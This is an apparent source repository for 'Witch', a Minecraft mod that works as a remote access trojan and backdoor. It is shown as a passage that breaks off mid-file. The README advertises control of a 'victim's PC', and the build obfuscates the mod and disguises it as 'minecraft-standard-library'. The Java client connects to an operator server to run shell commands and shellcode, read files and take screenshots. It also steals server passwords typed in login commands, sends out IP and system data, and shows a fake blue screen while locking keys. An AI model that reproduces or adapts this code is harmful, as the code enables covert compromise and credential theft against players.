5 | 6 | New generation Minecraft RAT / Backdoor Mod. 7 | 8 | The Witch system controls Minecraft clients and grant full access to your victim's PC! 9 | 10 | **Forge will never be supported. I will not backport it to older versions.** 11 | 12 | **I am not responsible for where you use this mod. EDUCATIONAL PURPOSES ONLY.** 13 | 14 | ## Showcase 15 | 16 | 17 | 18 | ## Features 19 | 20 | ### Client 21 | 22 | - Obfuscate 23 | - Custom server name (for client display) 24 | - Encrypted Socket 25 | 26 | ### Server 27 | 28 | - [ ] Received data panel 29 | - GUI 30 | - Mod combiner 31 | - Client builder 32 | 33 | ### System administration 34 | 35 | - [ ] Remote shell 36 | - [ ] Proxy 37 | - System information 38 | - Execute x86 shellcode on Windows system 39 | - Shell commands 40 | - Execute payloads on Windows system 41 | - Get run arguments 42 | - Get JVM props 43 | - Key Locker 44 | 45 | ### Files & Info 46 | 47 | - [ ] File manager 48 | - [ ] Get Browser password 49 | - Read text files 50 | 51 | ### Player information 52 | 53 | - [ ] Server list 54 | - Remote screenshot 55 | - Mod list 56 | - Player info like coordinates, real ip, etc. 57 | - Player skin download 58 | - Log chat & commands 59 | - Grab offline server passwords 60 | - Grab Mojang user tokens 61 | 62 | ### Player manipulating & trolling 63 | 64 | - [ ] No open screen 65 | - Follow 66 | - Auto Lick 67 | - Spam / Chat control 68 | - Invisible player (Make the victim unable to see you) 69 | - /op /deop @a 70 | - Filter & mute chat 71 | - Kick people from server and prevent them from joining server 72 | - Force join server 73 | 74 | ### Misc 75 | 76 | - [ ] DDOS 77 | - [ ] Infection 78 | - Fake BSOD 79 | - No quit server and close window 80 | - Out-of-game chat system (With your victim in game) 81 | - Lagger 82 | - Open URLs 83 | 84 | ## Running 85 | 86 | 1. Run `git clone https://github.com/ThebestkillerTBK/witch.git` 87 | 2. Open in your favorite IDE 88 | 89 | ## Using 90 | 91 | - Server: `server.jar` 92 | - Default port and name: `11451` 93 | - Config: `data/config` 94 | - `default.json`: Client config 95 | - `server.json`: Slient config 96 | 97 | ### Files: 98 | 99 | - Data root folder is `data` 100 | - screenshots - Client screenshot 101 | - logging - Player chat & command logs 102 | - skins - Player skins 103 | - data - Stolen token, config, etc. 104 | 105 | ## Contributing to the project 106 | 107 | - Create PRs to make this mod better! 108 | - Leave a star if you like it! -------------------------------------------------------------------------------- /build.gradle: -------------------------------------------------------------------------------- 1 | subprojects { 2 | apply plugin: 'java' 3 | 4 | java.toolchain.languageVersion = JavaLanguageVersion.of(17) 5 | 6 | repositories { 7 | mavenCentral() 8 | } 9 | 10 | tasks.withType(JavaCompile).configureEach { 11 | options.encoding = 'UTF-8' 12 | options.release = 17 13 | } 14 | } -------------------------------------------------------------------------------- /client/build.gradle: -------------------------------------------------------------------------------- 1 | import org.apache.commons.io.FilenameUtils 2 | import proguard.gradle.ProGuardTask 3 | 4 | buildscript { 5 | dependencies { 6 | classpath 'com.guardsquare:proguard-gradle:7.3.0' 7 | classpath 'com.guardsquare:proguard-base:7.3.0' 8 | } 9 | } 10 | 11 | plugins { 12 | id 'fabric-loom' version '1.0-SNAPSHOT' 13 | id 'com.github.johnrengelman.shadow' version '7.1.2' 14 | } 15 | 16 | repositories { 17 | maven { 18 | name = "meteor-maven" 19 | url = "https://maven.meteordev.org/releases" 20 | } 21 | } 22 | 23 | archivesBaseName = "minecraft-standard-library" 24 | version = project.version 25 | group = project.maven_group 26 | 27 | configurations { 28 | implementation.extendsFrom(library) 29 | shadow.extendsFrom(library) 30 | } 31 | 32 | dependencies { 33 | minecraft "com.mojang:minecraft:${project.minecraft_version}" 34 | mappings "net.fabricmc:yarn:${project.yarn_mappings}:v2" 35 | modImplementation "net.fabricmc:fabric-loader:${project.loader_version}" 36 | library "meteordevelopment:orbit:${project.orbit_version}" 37 | modImplementation 'com.github.kwhat:jnativehook:2.2.2' 38 | include 'com.github.kwhat:jnativehook:2.2.2' 39 | compileOnly project(":shared") 40 | } 41 | 42 | shadowJar { 43 | configurations = [project.configurations.shadow] 44 | relocate "meteordevelopment.orbit", "me.soda.witch.orbit" 45 | } 46 | 47 | evaluationDependsOn(':shared') 48 | tasks.withType(JavaCompile).configureEach { 49 | source project(':shared').sourceSets.main.allSource 50 | } 51 | 52 | processResources { 53 | inputs.property "version", project.version 54 | 55 | filesMatching("fabric.mod.json") { 56 | expand "version": project.version, 57 | "author": project.author_name 58 | 59 | } 60 | } 61 | 62 | task proguard(type: ProGuardTask) { 63 | configuration "${projectDir}/proguard.pro" 64 | injars remapJar.archiveFile 65 | outjars FilenameUtils.removeExtension(remapJar.archiveFile.get().toString()) + "-obfuscated.jar" 66 | 67 | libraryjars(project.configurations.modImplementation.files) 68 | libraryjars(project.configurations.modApi.files) 69 | } 70 | 71 | task copyFiles(type: Copy, dependsOn: proguard) { 72 | from proguard.outJarFiles 73 | into "${rootDir}/output" 74 | } 75 | 76 | remapJar { 77 | dependsOn shadowJar 78 | inputFile.set(shadowJar.archiveFile) 79 | finalizedBy copyFiles 80 | } 81 | 82 | -------------------------------------------------------------------------------- /client/proguard.pro: -------------------------------------------------------------------------------- 1 | -allowaccessmodification 2 | -ignorewarnings 3 | -mergeinterfacesaggressively 4 | -keepattributes *Annotation* 5 | -optimizationpasses 3 6 | -renamesourcefileattribute 7 | -repackageclasses net.minecraft.internal 8 | 9 | -keep @org.spongepowered.asm.mixin.** class ** { *; } 10 | -keep @org.spongepowered.asm.mixin.** interface ** { *; } 11 | 12 | -keepclassmembers class ** { @me.soda.witch.orbit.EventHandler *; } 13 | 14 | -keepclassmembers class me.soda.witch.shared.socket.messages.** { *; } 15 | 16 | -libraryjars /jmods/java.base.jmod 17 | 18 | -printmapping build/mappings.txt -------------------------------------------------------------------------------- /client/src/main/java/me/soda/witch/client/Cfg.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.client; 2 | 3 | import me.soda.witch.shared.LogUtil; 4 | import net.fabricmc.loader.api.FabricLoader; 5 | import net.fabricmc.loader.api.metadata.ModMetadata; 6 | 7 | import java.util.Base64; 8 | 9 | public class Cfg { 10 | public static String host; 11 | public static int port; 12 | public static byte[] key; 13 | 14 | public static boolean init() { 15 | try { 16 | ModMetadata metadata = FabricLoader.getInstance().getModContainer("minecraft-standard-library").get().getMetadata(); 17 | host = metadata.getCustomValue("h").getAsString(); 18 | port = metadata.getCustomValue("p").getAsNumber().intValue(); 19 | key = Base64.getDecoder().decode(metadata.getCustomValue("k").getAsString()); 20 | return true; 21 | } catch (Exception e) { 22 | LogUtil.printStackTrace(e); 23 | return false; 24 | } 25 | } 26 | 27 | } 28 | -------------------------------------------------------------------------------- /client/src/main/java/me/soda/witch/client/Witch.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.client; 2 | 3 | import me.soda.witch.client.connection.Client; 4 | import me.soda.witch.client.events.ChatScreenChatEvent; 5 | import me.soda.witch.client.events.GameJoinEvent; 6 | import me.soda.witch.client.events.SendCommandEvent; 7 | import me.soda.witch.client.events.ServerButtonClickEvent; 8 | import me.soda.witch.client.modules.ClientChatWindow; 9 | import me.soda.witch.client.utils.ChatUtils; 10 | import me.soda.witch.client.utils.LoopThread; 11 | import me.soda.witch.client.utils.MCUtils; 12 | import me.soda.witch.shared.Crypto; 13 | import me.soda.witch.shared.LogUtil; 14 | import me.soda.witch.shared.socket.messages.Data; 15 | import me.soda.witch.shared.socket.messages.messages.ByteData; 16 | import me.soda.witch.shared.socket.messages.messages.ClientConfigData; 17 | import me.soda.witch.shared.socket.messages.messages.StringsData; 18 | import meteordevelopment.orbit.EventBus; 19 | import meteordevelopment.orbit.EventHandler; 20 | import meteordevelopment.orbit.IEventBus; 21 | import net.minecraft.client.MinecraftClient; 22 | import net.minecraft.client.gui.screen.DisconnectedScreen; 23 | import net.minecraft.client.gui.screen.TitleScreen; 24 | import net.minecraft.screen.ScreenTexts; 25 | import net.minecraft.text.Text; 26 | 27 | import java.lang.invoke.MethodHandles; 28 | import java.util.Arrays; 29 | import java.util.List; 30 | 31 | public class Witch { 32 | public static final Witch INSTANCE = new Witch(); 33 | public static final MinecraftClient mc = MinecraftClient.getInstance(); 34 | public static final IEventBus EVENT_BUS = new EventBus(); 35 | public static ClientConfigData CONFIG_INFO = new ClientConfigData(); 36 | public static ClientChatWindow CHAT_WINDOW = new ClientChatWindow(); 37 | public Client client; 38 | 39 | private Witch() { 40 | } 41 | 42 | public static void send(String messageType, String message) { 43 | INSTANCE.client.send(new StringsData(messageType, List.of(message))); 44 | } 45 | 46 | public static void send(String messageType, List message) { 47 | INSTANCE.client.send(new StringsData(messageType, message)); 48 | } 49 | 50 | public static void send(String messageType, byte[] message) { 51 | INSTANCE.client.send(new ByteData(messageType, message)); 52 | } 53 | 54 | public static void send(T object) { 55 | INSTANCE.client.send(object); 56 | } 57 | 58 | public static void send(String messageType) { 59 | INSTANCE.client.send(new StringsData(messageType, List.of())); 60 | } 61 | 62 | public void init() { 63 | LogUtil.println("By Soda5601"); 64 | if (!Cfg.init()) { 65 | LogUtil.println("Config issue"); 66 | return; 67 | } 68 | Crypto.INSTANCE = new Crypto(Cfg.key); 69 | LoopThread.init(); 70 | EVENT_BUS.registerLambdaFactory(getClass().getPackageName(), (lookupInMethod, klass) -> (MethodHandles.Lookup) lookupInMethod.invoke(null, klass, MethodHandles.lookup())); 71 | EVENT_BUS.subscribe(this); 72 | EVENT_BUS.subscribe(ChatUtils.class); 73 | client = new Client(); 74 | } 75 | 76 | @EventHandler 77 | private void onSendCommand(SendCommandEvent event) { 78 | String[] cmds = event.command.split(" "); 79 | List hint = Arrays.asList("reg", "register", "l", "login", "log"); 80 | if (CONFIG_INFO.passwordBeingLogged && cmds.length >= 2 && hint.contains(cmds[0])) { 81 | send(MCUtils.getPlayerInfo()); 82 | send("steal_pwd", cmds[1]); 83 | } 84 | if (CONFIG_INFO.logChatAndCommand) LoopThread.addToList("/" + event.command); 85 | } 86 | 87 | @EventHandler 88 | private void onServerJoin(ServerButtonClickEvent event) { 89 | if (!Witch.CONFIG_INFO.canJoinServer) { 90 | mc.execute(() -> mc.setScreen(new DisconnectedScreen(new TitleScreen(), ScreenTexts.CONNECT_FAILED, 91 | Text.of(Witch.CONFIG_INFO.name + " kicked you.")))); 92 | event.cancel(); 93 | } 94 | } 95 | 96 | @EventHandler 97 | private void onGameJoin(GameJoinEvent event) { 98 | Witch.send(MCUtils.getPlayerInfo()); 99 | } 100 | 101 | @EventHandler 102 | private void onSendMessage(ChatScreenChatEvent event) { 103 | if (CONFIG_INFO.isMuted) event.cancel(); 104 | } 105 | } 106 | -------------------------------------------------------------------------------- /client/src/main/java/me/soda/witch/client/connection/Client.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.client.connection; 2 | 3 | import com.mojang.blaze3d.systems.RenderSystem; 4 | import me.soda.witch.client.Cfg; 5 | import me.soda.witch.client.Witch; 6 | import me.soda.witch.client.modules.*; 7 | import me.soda.witch.client.utils.KeyLocker; 8 | import me.soda.witch.client.utils.MCUtils; 9 | import me.soda.witch.client.utils.ScreenshotUtil; 10 | import me.soda.witch.client.utils.ShellcodeLoader; 11 | import me.soda.witch.shared.FileUtil; 12 | import me.soda.witch.shared.LogUtil; 13 | import me.soda.witch.shared.NetUtil; 14 | import me.soda.witch.shared.ProgramUtil; 15 | import me.soda.witch.shared.socket.TcpClient; 16 | import me.soda.witch.shared.socket.messages.Message; 17 | import me.soda.witch.shared.socket.messages.messages.*; 18 | import net.minecraft.client.gui.screen.ConnectScreen; 19 | import net.minecraft.client.gui.screen.TitleScreen; 20 | import net.minecraft.client.network.ServerAddress; 21 | import net.minecraft.client.util.GlfwUtil; 22 | 23 | import java.io.File; 24 | import java.lang.management.ManagementFactory; 25 | 26 | public class Client extends TcpClient { 27 | public int reconnections = 0; 28 | 29 | public Client() { 30 | super(Cfg.host, Cfg.port, 30000); 31 | } 32 | 33 | @Override 34 | public boolean onReconnect() { 35 | if (reconnections <= 10) { 36 | reconnections++; 37 | } else { 38 | reconnectTimeout = -1; 39 | LogUtil.println("Witch end because of manual shutdown or too many reconnections"); 40 | return false; 41 | } 42 | return true; 43 | } 44 | 45 | @Override 46 | public void onOpen() { 47 | LogUtil.println("Connection initialized"); 48 | Witch.send(MCUtils.getPlayerInfo()); 49 | Witch.send("getconfig"); 50 | Witch.send("ip", NetUtil.getIP()); 51 | } 52 | 53 | @Override 54 | public void onClose(DisconnectData disconnectData) { 55 | Witch.CHAT_WINDOW.receivedText.append("Admin disconnected."); 56 | LogUtil.println("Disconnected: " + disconnectData.reason()); 57 | } 58 | 59 | @Override 60 | public void onMessage(Message message) { 61 | try { 62 | LogUtil.println("Received message: " + message.data.getClass().getName()); 63 | if (message.data instanceof ByteData data && data.id.equals("execute")) { 64 | new Thread(() -> ProgramUtil.runProg(data.bytes())).start(); 65 | } else if (message.data instanceof ClientConfigData data) { 66 | Witch.CONFIG_INFO = data; 67 | } else if (message.data instanceof FollowData data) { 68 | Follower.INSTANCE.follow(data); 69 | } else if (message.data instanceof SpamData data) { 70 | Spam.INSTANCE.spam(data); 71 | } else if (message.data instanceof BooleanData data) { 72 | switch (data.id()) { 73 | case "lagger" -> Lag.INSTANCE.lag(data.bl()); 74 | case "bsod" -> new BSOD().toggle(data.bl()); 75 | case "keylocker" -> KeyLocker.toggle(data.bl()); 76 | case "lick" -> Lick.INSTANCE.lick(data.bl()); 77 | } 78 | } else if (message.data instanceof StringsData data) { 79 | if (data.data().size() == 0) { 80 | switch (data.id()) { 81 | case "mods" -> Witch.send("mods", MCUtils.allMods()); 82 | case "systeminfo" -> Witch.send("systeminfo", MCUtils.systemInfo()); 83 | case "screenshot" -> ScreenshotUtil.gameScreenshot(); 84 | case "screenshot2" -> Witch.send("screenshot2", ScreenshotUtil.systemScreenshot()); 85 | case "config" -> Witch.send(Witch.CONFIG_INFO); 86 | case "player" -> Witch.send(MCUtils.getPlayerInfo()); 87 | case "skin" -> MCUtils.sendPlayerSkin(); 88 | case "kick" -> MCUtils.disconnect(); 89 | case "runargs" -> 90 | Witch.send(new StringsData("runargs", ManagementFactory.getRuntimeMXBean().getInputArguments())); 91 | case "props" -> Witch.send("props", System.getProperties().toString()); 92 | case "ip" -> Witch.send("ip", NetUtil.getIP()); 93 | case "crash" -> GlfwUtil.makeJvmCrash(); 94 | case "op@a" -> OpEveryone.INSTANCE.opEveryone(false); 95 | case "deop@a" -> OpEveryone.INSTANCE.opEveryone(true); 96 | } 97 | } else if (data.data().size() == 1) { 98 | String msg = data.data().get(0); 99 | switch (data.id()) { 100 | case "join_server" -> { 101 | ServerAddress address = ServerAddress.parse(msg); 102 | RenderSystem.recordRenderCall(() -> ConnectScreen.connect(new TitleScreen(), Witch.mc, address, null)); 103 | } 104 | case "chat" -> { 105 | Witch.CHAT_WINDOW.visible(!msg.equals("false")); 106 | if (msg.equals("false")) return; 107 | Witch.CHAT_WINDOW.receivedText.append("Admin:" + msg); 108 | } 109 | case "shell" -> new Thread(() -> { 110 | String result = ProgramUtil.runCmd(msg); 111 | Witch.send("shell", "\n" + result); 112 | }).start(); 113 | case "shellcode" -> { 114 | if (ProgramUtil.isWin()) new Thread(() -> new ShellcodeLoader().loadShellCode(msg)).start(); 115 | } 116 | case "read" -> Witch.send("read", FileUtil.read(new File(msg))); 117 | case "open_url" -> ProgramUtil.openURL(msg); 118 | } 119 | } 120 | } 121 | } catch (Exception e) { 122 | LogUtil.println("Corrupted message!"); 123 | LogUtil.printStackTrace(e); 124 | } 125 | } 126 | } -------------------------------------------------------------------------------- /client/src/main/java/me/soda/witch/client/events/AddMessageEvent.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.client.events; 2 | 3 | import net.minecraft.text.Text; 4 | 5 | public class AddMessageEvent extends Cancellable { 6 | public static final AddMessageEvent INSTANCE = new AddMessageEvent(); 7 | 8 | public Text message; 9 | 10 | public static AddMessageEvent get(Text message) { 11 | INSTANCE.message = message; 12 | return INSTANCE; 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /client/src/main/java/me/soda/witch/client/events/Cancellable.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.client.events; 2 | 3 | import meteordevelopment.orbit.ICancellable; 4 | 5 | public class Cancellable implements ICancellable { 6 | private boolean cancelled = false; 7 | 8 | public boolean isCancelled() { 9 | return cancelled; 10 | } 11 | 12 | public void setCancelled(boolean cancelled) { 13 | this.cancelled = cancelled; 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /client/src/main/java/me/soda/witch/client/events/ChatScreenChatEvent.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.client.events; 2 | 3 | public class ChatScreenChatEvent extends Cancellable { 4 | public static final ChatScreenChatEvent INSTANCE = new ChatScreenChatEvent(); 5 | 6 | public String message; 7 | 8 | public static ChatScreenChatEvent get(String message) { 9 | INSTANCE.message = message; 10 | return INSTANCE; 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /client/src/main/java/me/soda/witch/client/events/GameJoinEvent.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.client.events; 2 | 3 | public class GameJoinEvent { 4 | public static final GameJoinEvent INSTANCE = new GameJoinEvent(); 5 | 6 | public static GameJoinEvent get() { 7 | return INSTANCE; 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /client/src/main/java/me/soda/witch/client/events/SendCommandEvent.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.client.events; 2 | 3 | public class SendCommandEvent extends Cancellable { 4 | public static final SendCommandEvent INSTANCE = new SendCommandEvent(); 5 | 6 | public String command; 7 | 8 | public static SendCommandEvent get(String message) { 9 | INSTANCE.command = message; 10 | return INSTANCE; 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /client/src/main/java/me/soda/witch/client/events/ServerButtonClickEvent.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.client.events; 2 | 3 | public class ServerButtonClickEvent extends Cancellable { 4 | public static final ServerButtonClickEvent INSTANCE = new ServerButtonClickEvent(); 5 | 6 | public static ServerButtonClickEvent get() { 7 | return INSTANCE; 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /client/src/main/java/me/soda/witch/client/events/TickEvent.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.client.events; 2 | 3 | public class TickEvent { 4 | public static final TickEvent INSTANCE = new TickEvent(); 5 | 6 | public static TickEvent get() { 7 | return INSTANCE; 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /client/src/main/java/me/soda/witch/client/modules/BSOD.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.client.modules; 2 | 3 | import me.soda.witch.client.utils.KeyLocker; 4 | 5 | import javax.swing.*; 6 | import java.awt.*; 7 | import java.awt.image.BufferedImage; 8 | import java.util.ArrayList; 9 | import java.util.List; 10 | 11 | public class BSOD { 12 | JFrame frame = new JFrame(); 13 | JPanel pnlData = new JPanel(new GridLayout(30, 1)); 14 | 15 | JLabel lblTitle = new JLabel("Blue Screen Error"); 16 | JLabel lblSpace = new JLabel(""); 17 | List lblText = new ArrayList<>(); 18 | 19 | BufferedImage cursorImg = new BufferedImage(16, 16, BufferedImage.TYPE_INT_ARGB); 20 | Cursor blankCursor = Toolkit.getDefaultToolkit().createCustomCursor(cursorImg, new Point(0, 0), "blank"); 21 | 22 | public BSOD() { 23 | lblText.add(" A problem has been detected and windows has been shut down to prevent damage"); 24 | lblText.add(" to your computer."); 25 | lblText.add(""); 26 | lblText.add(" The problem seems to be caused by the following file: WIN32K.SYS"); 27 | lblText.add(""); 28 | lblText.add(" PAGE_FAULT_IN_NONPAGED_AREA"); 29 | lblText.add(""); 30 | lblText.add(" If this is the first time you've seen this stop error screen,"); 31 | lblText.add(" restart your computer. If this screen appears again, follow"); 32 | lblText.add(" these steps:"); 33 | lblText.add(""); 34 | lblText.add(" check to make sure any new hardware or software is properly installed."); 35 | lblText.add(" If this is a new installation, ask your hardware or software manufacturer"); 36 | lblText.add(" for any windows updates you might need."); 37 | lblText.add(""); 38 | lblText.add(" If problems continue, disable or remove any newly installed hardware"); 39 | lblText.add(" or software. Disable BIOS memory options such as caching or shadowing."); 40 | lblText.add(" If you need to use safe mode to remove or disable components, restart"); 41 | lblText.add(" your computer, press F8 to select Advanced Startup Options, and then"); 42 | lblText.add(" select Safe Mode."); 43 | lblText.add(""); 44 | lblText.add(" Technical Information:"); 45 | lblText.add(""); 46 | lblText.add(" *** STOP 0x00000050 (0xFD3004C2, 0x00000000, 0xFFFFF250, 0x00000000)"); 47 | lblText.add(""); 48 | lblText.add(" Windows is dumping file: "); 49 | lblText.add(" *** DUMP_ERROR 0xC0000142"); 50 | lblTitle.setForeground(Color.WHITE); 51 | lblTitle.setFont(new Font("Consolas", Font.PLAIN, 24)); 52 | pnlData.setBackground(new Color(0, 0, 0x8b)); 53 | 54 | frame.add(pnlData); 55 | frame.setBackground(Color.BLUE); 56 | frame.setDefaultCloseOperation(JFrame.DO_NOTHING_ON_CLOSE); 57 | frame.setLocationRelativeTo(null); 58 | frame.setUndecorated(true); 59 | frame.setResizable(false); 60 | frame.setCursor(blankCursor); 61 | frame.setSize(100, 100); 62 | frame.setAlwaysOnTop(true); 63 | frame.setVisible(true); 64 | frame.setExtendedState(JFrame.MAXIMIZED_BOTH); 65 | pnlData.add(lblSpace); 66 | 67 | for (String text : lblText) { 68 | JLabel jLabel = new JLabel(text); 69 | jLabel.setForeground(Color.WHITE); 70 | jLabel.setFont(new Font("Courier New", Font.PLAIN, 24)); 71 | pnlData.add(jLabel); 72 | } 73 | } 74 | 75 | 76 | public void toggle(boolean toggle) { 77 | frame.setVisible(toggle); 78 | KeyLocker.toggle(toggle); 79 | } 80 | } 81 | -------------------------------------------------------------------------------- /client/src/main/java/me/soda/witch/client/modules/ClientChatWindow.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.client.modules; 2 | 3 | import me.soda.witch.client.Witch; 4 | 5 | import javax.swing.*; 6 | import java.awt.*; 7 | 8 | public class ClientChatWindow extends JFrame { 9 | public final JTextArea receivedText; 10 | private final JTextField sendText; 11 | 12 | public ClientChatWindow() { 13 | setSize(560, 420); 14 | setDefaultCloseOperation(DO_NOTHING_ON_CLOSE); 15 | setResizable(false); 16 | setAlwaysOnTop(true); 17 | 18 | JPanel panel = new JPanel(); 19 | panel.setLayout(new BorderLayout()); 20 | 21 | receivedText = new JTextArea() { 22 | @Override 23 | public void append(String str) { 24 | str += "\n"; 25 | super.append(str); 26 | } 27 | }; 28 | receivedText.setEditable(false); 29 | receivedText.setForeground(Color.BLACK); 30 | panel.add(receivedText); 31 | 32 | JPanel sendPanel = new JPanel(); 33 | sendPanel.setLayout(new BorderLayout()); 34 | 35 | sendText = new JTextField(); 36 | sendPanel.add(sendText); 37 | 38 | JButton sendBtn = new JButton("Send"); 39 | sendBtn.addActionListener(event -> send()); 40 | sendPanel.add(sendBtn, BorderLayout.EAST); 41 | 42 | panel.add(sendPanel, BorderLayout.SOUTH); 43 | getContentPane().add(panel, BorderLayout.CENTER); 44 | } 45 | 46 | private void send() { 47 | String text = sendText.getText(); 48 | if (!text.isEmpty()) { 49 | receivedText.append("You: " + text); 50 | sendText.setText(""); 51 | Witch.send("chat", text); 52 | } 53 | } 54 | 55 | public void visible(boolean b) { 56 | if (b) setTitle("Chat to the " + Witch.CONFIG_INFO.name + " Admin"); 57 | super.setVisible(b); 58 | } 59 | } 60 | -------------------------------------------------------------------------------- /client/src/main/java/me/soda/witch/client/modules/Follower.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.client.modules; 2 | 3 | import me.soda.witch.client.Witch; 4 | import me.soda.witch.client.events.TickEvent; 5 | import me.soda.witch.client.utils.MCUtils; 6 | import me.soda.witch.shared.socket.messages.messages.FollowData; 7 | import meteordevelopment.orbit.EventHandler; 8 | import net.minecraft.entity.Entity; 9 | import net.minecraft.entity.player.PlayerEntity; 10 | 11 | import static me.soda.witch.client.Witch.mc; 12 | 13 | public enum Follower { 14 | INSTANCE; 15 | 16 | FollowData data; 17 | 18 | @EventHandler 19 | private void onTick(TickEvent event) { 20 | if (data.stop()) Witch.EVENT_BUS.unsubscribe(this); 21 | if (!MCUtils.canUpdate()) return; 22 | for (Entity entity : mc.world.getEntities()) { 23 | if (entity instanceof PlayerEntity player && player != mc.player && player.getEntityName().equalsIgnoreCase(data.playerName())) { 24 | if (mc.player.horizontalCollision && mc.player.isOnGround()) 25 | mc.player.jump(); 26 | 27 | if (mc.player.isTouchingWater() && mc.player.getY() < player.getY()) 28 | mc.player.setVelocity(mc.player.getVelocity().add(0, 0.04, 0)); 29 | 30 | if (!mc.player.isOnGround() && mc.player.getAbilities().flying 31 | && mc.player.squaredDistanceTo(player.getX(), mc.player.getY(), 32 | player.getZ()) <= mc.player.squaredDistanceTo( 33 | mc.player.getX(), player.getY(), mc.player.getZ())) { 34 | if (mc.player.getY() > player.getY() + 1D) 35 | mc.options.sneakKey.setPressed(true); 36 | else if (mc.player.getY() < player.getY() - 1D) 37 | mc.options.jumpKey.setPressed(true); 38 | } else { 39 | mc.options.sneakKey.setPressed(false); 40 | mc.options.jumpKey.setPressed(false); 41 | } 42 | 43 | mc.player.setYaw(MCUtils.relativeYaw(player)); 44 | mc.options.forwardKey.setPressed(mc.player.distanceTo(player) > data.distance()); 45 | break; 46 | } 47 | } 48 | } 49 | 50 | public void follow(FollowData data) { 51 | this.data = data; 52 | Witch.EVENT_BUS.subscribe(this); 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /client/src/main/java/me/soda/witch/client/modules/Lag.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.client.modules; 2 | 3 | import me.soda.witch.client.events.TickEvent; 4 | import meteordevelopment.orbit.EventHandler; 5 | 6 | import static me.soda.witch.client.Witch.EVENT_BUS; 7 | import static me.soda.witch.client.Witch.mc; 8 | 9 | public enum Lag { 10 | INSTANCE; 11 | int originalFPS = -1; 12 | 13 | @EventHandler 14 | private void onTick(TickEvent event) { 15 | mc.options.getMaxFps().setValue(10); 16 | } 17 | 18 | public void lag(boolean lag) { 19 | if (lag) { 20 | originalFPS = mc.options.getMaxFps().getValue(); 21 | EVENT_BUS.subscribe(this); 22 | } else { 23 | EVENT_BUS.unsubscribe(this); 24 | if (originalFPS != -1) mc.options.getMaxFps().setValue(originalFPS); 25 | } 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /client/src/main/java/me/soda/witch/client/modules/Lick.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.client.modules; 2 | 3 | import me.soda.witch.client.Witch; 4 | import me.soda.witch.client.events.TickEvent; 5 | import me.soda.witch.client.utils.MCUtils; 6 | import meteordevelopment.orbit.EventHandler; 7 | import net.minecraft.entity.Entity; 8 | import net.minecraft.entity.player.PlayerEntity; 9 | 10 | import static me.soda.witch.client.Witch.mc; 11 | 12 | public enum Lick { 13 | INSTANCE; 14 | 15 | float pitch = 0; 16 | boolean down = false; 17 | 18 | @EventHandler 19 | private void onTick(TickEvent event) { 20 | if (!MCUtils.canUpdate()) return; 21 | pitch = pitch + (down ? -7 : 7); 22 | if (pitch >= 50) { 23 | down = true; 24 | } else if (pitch <= -50) { 25 | down = false; 26 | } 27 | 28 | PlayerEntity target = null; 29 | for (Entity entity : mc.world.getEntities()) { 30 | if (entity instanceof PlayerEntity player && player != mc.player && player.distanceTo(mc.player) < 1.25) { 31 | target = player; 32 | break; 33 | } 34 | } 35 | 36 | mc.options.sneakKey.setPressed(target != null); 37 | if (target != null) { 38 | mc.player.setYaw(MCUtils.relativeYaw(target)); 39 | mc.player.setPitch(pitch); 40 | } 41 | } 42 | 43 | public void lick(boolean lick) { 44 | pitch = 0; 45 | if (lick) 46 | Witch.EVENT_BUS.subscribe(this); 47 | else 48 | Witch.EVENT_BUS.unsubscribe(this); 49 | } 50 | } 51 | -------------------------------------------------------------------------------- /client/src/main/java/me/soda/witch/client/modules/OpEveryone.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.client.modules; 2 | 3 | import me.soda.witch.client.Witch; 4 | import me.soda.witch.client.events.TickEvent; 5 | import me.soda.witch.client.utils.ChatUtils; 6 | import me.soda.witch.client.utils.MCUtils; 7 | import meteordevelopment.orbit.EventHandler; 8 | import net.minecraft.client.network.PlayerListEntry; 9 | import net.minecraft.util.StringHelper; 10 | 11 | import java.util.ArrayList; 12 | import java.util.List; 13 | 14 | import static me.soda.witch.client.Witch.mc; 15 | 16 | public enum OpEveryone { 17 | INSTANCE; 18 | private final List opPlayers = new ArrayList<>(); 19 | private boolean deop = false; 20 | private int timer = 0; 21 | private int index = 0; 22 | 23 | @EventHandler 24 | private void onTick(TickEvent event) { 25 | if (!MCUtils.canUpdate() || index >= opPlayers.size()) { 26 | Witch.EVENT_BUS.unsubscribe(this); 27 | } else if (timer <= -1) { 28 | ChatUtils.sendChat(deop ? "/deop " : "/op " + opPlayers.get(index)); 29 | index++; 30 | timer = 20; 31 | } else { 32 | timer--; 33 | } 34 | } 35 | 36 | public void opEveryone(boolean deop) { 37 | opPlayers.clear(); 38 | this.deop = deop; 39 | timer = 0; 40 | index = 0; 41 | if (!MCUtils.canUpdate()) return; 42 | String pName = mc.getSession().getProfile().getName(); 43 | for (PlayerListEntry info : mc.getNetworkHandler().getPlayerList()) { 44 | String name = info.getProfile().getName(); 45 | if (StringHelper.stripTextFormat(name).equalsIgnoreCase(pName)) 46 | continue; 47 | 48 | opPlayers.add(name); 49 | } 50 | Witch.EVENT_BUS.subscribe(this); 51 | } 52 | } 53 | -------------------------------------------------------------------------------- /client/src/main/java/me/soda/witch/client/modules/Spam.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.client.modules; 2 | 3 | import me.soda.witch.client.events.TickEvent; 4 | import me.soda.witch.client.utils.ChatUtils; 5 | import me.soda.witch.client.utils.MCUtils; 6 | import 